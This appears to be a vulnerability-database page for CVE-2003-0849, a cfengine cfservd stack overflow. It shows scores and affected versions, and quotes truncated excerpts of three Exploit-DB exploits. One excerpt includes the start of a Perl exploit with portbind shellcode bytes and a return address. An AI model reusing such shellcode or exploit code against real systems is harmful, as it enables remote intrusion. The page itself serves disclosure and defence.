CVE-2003-0849
published 2003-11-17CVE-2003-0849: Buffer overflow in net.c for cfengine 2.x before 2.0.8 allows remote attackers to execute arbitrary code via certain packets with modified length values, which…
PriorityP340high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
10.64%
95.3th percentile
Buffer overflow in net.c for cfengine 2.x before 2.0.8 allows remote attackers to execute arbitrary code via certain packets with modified length values, which is trusted by the ReceiveTransaction function when using a buffer provided by the BusyWithConnection function.
Affected
9 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| gnu | cfengine | — | — |
| gnu | cfengine | — | — |
| gnu | cfengine | — | — |
| gnu | cfengine | — | — |
| gnu | cfengine | — | — |
| gnu | cfengine | — | — |
| gnu | cfengine | — | — |
| gnu | cfengine | — | — |
| gnu | cfengine | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
GNU CFEngine 2.0.x - CFServD Transaction Packet Buffer Overrun (2)
exploitdb·2003-11-04
CVE-2003-0849 GNU CFEngine 2.0.x - CFServD Transaction Packet Buffer Overrun (2)
GNU CFEngine 2.0.x - CFServD Transaction Packet Buffer Overrun (2)
---
// source: https://www.securityfocus.com/bid/8699/info
cfengine is prone to a stack-based buffer overrun vulnerability. This issue may be exploited by remote attackers who can send malicious transaction packets to cfservd. This issue is due to insufficient bounds checking of data that is read in during a transaction with a remote user.
The vulnerability may be exploited to execute arbitrary code with the privileges of cfservd. A denial of service may also be the result of exploitation attempts as cfservd is multi-threaded and may not be configured to restart itself via a super-server such as inetd.
/*****************************************************************
* *
* Author: snooq [http://www.angelfire.com/linux
Exploit-DB
GNU CFEngine 2.-2.0.3 - Remote Stack Overflow
exploitdb·2003-09-27
CVE-2003-0849 GNU CFEngine 2.-2.0.3 - Remote Stack Overflow
GNU CFEngine 2.-2.0.3 - Remote Stack Overflow
---
#!/usr/bin/perl -s
# kokaninATdtors.net / cfengine2-2.0.3 from freebsd ports 26/sep/2003.
# forking portbind shellcode port=0xb0ef(45295) by eSDee
# bug discovered by nick cleaton, tested on FreeBSD 4.8-RELEASE
use IO::Socket;
if(!$ARGV[1])
{ print "usage: ./DSR-cfengine.pl (default cfengine is 5308)\n"; exit(-1); }
$host = $ARGV[0];
$port = $ARGV[1];
$nop = "\x90";
$ret = pack("l",0xbfafe3dc);
$shellcode =
"\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0".
"\x61\xcd\x80\x89\xc7\x31\xc0\x50\x50\x50\x66\x68\xb0\xef\xb7\x02".
"\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x57\x50\xb0\x68\xcd\x80".
"\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x50\x57".
"\x50\xb0\x6a\xcd\x80\x31\xc0\x31\xdb\x50\x89\xe1\xb3\x01\x53\x
Exploit-DB
GNU CFEngine 2.0.x - CFServD Transaction Packet Buffer Overrun (1)
exploitdb·2003-09-25
CVE-2003-0849 GNU CFEngine 2.0.x - CFServD Transaction Packet Buffer Overrun (1)
GNU CFEngine 2.0.x - CFServD Transaction Packet Buffer Overrun (1)
---
// source: https://www.securityfocus.com/bid/8699/info
cfengine is prone to a stack-based buffer overrun vulnerability. This issue may be exploited by remote attackers who can send malicious transaction packets to cfservd. This issue is due to insufficient bounds checking of data that is read in during a transaction with a remote user.
The vulnerability may be exploited to execute arbitrary code with the privileges of cfservd. A denial of service may also be the result of exploitation attempts as cfservd is multi-threaded and may not be configured to restart itself via a super-server such as inetd.
/*********************************************************************************\
* jsk / cfengine2-2.0.3 from redh
No writeups or analysis indexed.
2003-11-17
Published